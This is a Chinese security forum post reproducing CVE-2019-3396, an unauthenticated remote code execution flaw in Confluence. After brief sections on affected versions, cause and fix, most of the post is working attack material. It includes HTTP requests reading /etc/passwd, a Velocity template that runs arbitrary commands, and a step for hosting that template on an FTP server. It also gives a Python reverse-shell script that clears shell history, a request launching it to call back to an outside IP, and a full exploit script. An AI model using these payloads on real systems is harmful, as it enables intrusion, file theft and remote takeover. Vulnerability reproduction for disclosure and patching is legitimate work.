安全矩阵

 找回密码
 立即注册
搜索
查看: 4732|回复: 0

Confluence未授权RCE(CVE-2019-3396)漏洞复现

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-4-27 18:45:37 | 显示全部楼层 |阅读模式
原文链接:Confluence未授权RCE(CVE-2019-3396)漏洞复现

一、声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

二、影响版本
6.6.12版本之前所有版本
6.7.0-6.12.2版本
6.13.3之前的所有6.13.x版本
6.14.2之前的所有6.14.x版本



三、漏洞成因
使用_template参数覆盖Velocity渲染模板, 使用file:协议可以进行任意文件读取(不再受限于classpath)


四、修复方法1、升级Confluence版本
2、主动升级widgetconnector-3.1.3.jar 到 widgetconnector-3.1.4.jar



五、复现流程
有些版本需要加Referer才能成功
  1. POST /rest/tinymce/1/macro/preview HTTP/1.1
  2. Host: localhost
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/plain, */*; q=0.01
  4. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=utf-8
  5. X-Requested-With: XMLHttpRequest
  6. Referer: http://locathost/
  7. Content-Length: 167 X-Forwarded-For: 127.0.0.2 Connection: keep-alive {"contentId":"786457","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}
复制代码



  1. POST /rest/tinymce/1/macro/preview HTTP/1.1
  2. Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/plain, */*; q=0.01
  3. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  4. Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=utf-8
  5. X-Requested-With: XMLHttpRequest Referer: http://localhost/
  6. Content-Length: 198
  7. X-Forwarded-For: 127.0.0.2 Connection: keep-alive {"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.dailymotion.com/video/xcpa64","width":"300","height":"200","_template":"ftp://1.1.1.1/exec.vm","cmd":"whoami"}}}
复制代码
在不出外情况下,搭建一个ftp服务器(优先),或是https站点(成本太高)


pip install pyftpdlib


python -m pyftpdlib -p  8888



搭建好ftp服务器后,将exec.vm上传到ftp服务器上。
exec.vm
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end
反弹shell两种方式,nc.exe和nc.py(当有python环境时使用)
本地监听:
nc.exe -lvvp 8000


nc.py

  1. <section style="font-size: 14px;text-align: left;letter-spacing: 1.3px;padding: 0px 16px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"># -*- coding:utf-8 -*-
  2. #!/usr/bin/env python
  3. """
  4. back connect py version,only linux have pty module
  5. code by google security team
  6. """
  7. import sys,os,socket,pty
  8. shell = "/bin/sh"
  9. def usage(name):
  10.     print 'python reverse connector'
  11.     print 'usage: %s <ip_addr> <port>' % name

  12. def main():
  13.     if len(sys.argv) !=3:
  14.         usage(sys.argv[0])
  15.         sys.exit()
  16.     s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  17.     try:
  18.         s.connect((sys.argv[1],int(sys.argv[2])))
  19.         print 'connect ok'
  20.     except:
  21.         print 'connect faild'
  22.         sys.exit()
  23.     os.dup2(s.fileno(),0)
  24.     os.dup2(s.fileno(),1)
  25.     os.dup2(s.fileno(),2)
  26.     global shell
  27.     os.unsetenv("HISTFILE")
  28.     os.unsetenv("HISTFILESIZE")
  29.     os.unsetenv("HISTSIZE")
  30.     os.unsetenv("HISTORY")
  31.     os.unsetenv("HISTSAVE")
  32.     os.unsetenv("HISTZONE")
  33.     os.unsetenv("HISTLOG")
  34.     os.unsetenv("HISTCMD")
  35.     os.putenv("HISTFILE",'/dev/null')
  36.     os.putenv("HISTSIZE",'0')
  37.     os.putenv("HISTFILESIZE",'0')
  38.     pty.spawn(shell)
  39.     s.close()

  40. if __name__ == '__main__':
  41.     main()</p></section>
复制代码
使用nc.py反弹

  1. POST /rest/tinymce/1/macro/preview HTTP/1.1
  2. Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/plain, */*; q=0.01
  3. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=utf-8
  4. X-Requested-With: XMLHttpRequest Referer: http://localhost/
  5. Content-Length: 232
  6. X-Forwarded-For: 127.0.0.2 Connection: keep-alive {"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"ftp://1.1.1.1/r.vm","command":"setsid python /tmp/nc.py 10.10.20.166 8989"},"body":""}}
复制代码
使用exp

  1. # -*- coding: utf-8 -*-
  2. import re
  3. import sys
  4. import requests
  5. import ssl
  6. try:
  7.    _create_unverified_https_context = ssl._create_unverified_context
  8. except AttributeError:
  9.    pass
  10. else:
  11.    ssl._create_default_https_context = _create_unverified_https_context

  12. def _read(url):
  13.    result = {}
  14.    # filename = "../web.xml"
  15.    filename = 'file:////etc/group'

  16.    paylaod = url + "/rest/tinymce/1/macro/preview"
  17.    headers = {
  18.        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
  19.        "Referer": url + "/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
  20.        "Content-Type": "application/json; charset=utf-8"
  21.    }
  22.    data = '{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"%s"}}}' % filename
  23.    r = requests.post(paylaod, data=data, headers=headers)
  24.    # print r.content
  25.    if r.status_code == 200 and "wiki-content" in r.text:
  26.        m = re.findall('.*wiki-content">\n(.*)\n            </div>\n', r.text, re.S)

  27.    return m[0]



  28. def _exec(url,cmd):
  29.    result = {}
  30.    filename = "ftp://1.1.1.1/cmd.vm"

  31.    paylaod = url + "/rest/tinymce/1/macro/preview"
  32.    headers = {
  33.        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
  34.        "Referer": url + "/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
  35.        "Content-Type": "application/json; charset=utf-8"
  36.    }
  37.    data = '{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"http://www.dailymotion.com/video/xcpa64","width":"300","height":"200","_template":"%s","cmd":"%s"}}}' % (filename,cmd)
  38.    r = requests.post(paylaod, data=data, headers=headers)
  39.    # print r.content
  40.    if r.status_code == 200 and "wiki-content" in r.text:
  41.        m = re.findall('.*wiki-content">\n(.*)\n            </div>\n', r.text, re.S)

  42.    return m[0]



  43. if __name__ == '__main__':

  44.    if len(sys.argv) != 3:
  45.        print 'Usage: RCE_exp.py http[s]://target.com:8080/ "ls -al"'
  46.        sys.exit(0)
  47.    url = sys.argv[1]
  48.    cmd = sys.argv[2]
  49.    print _exec(url,cmd)
复制代码





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:54 , Processed in 0.012582 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表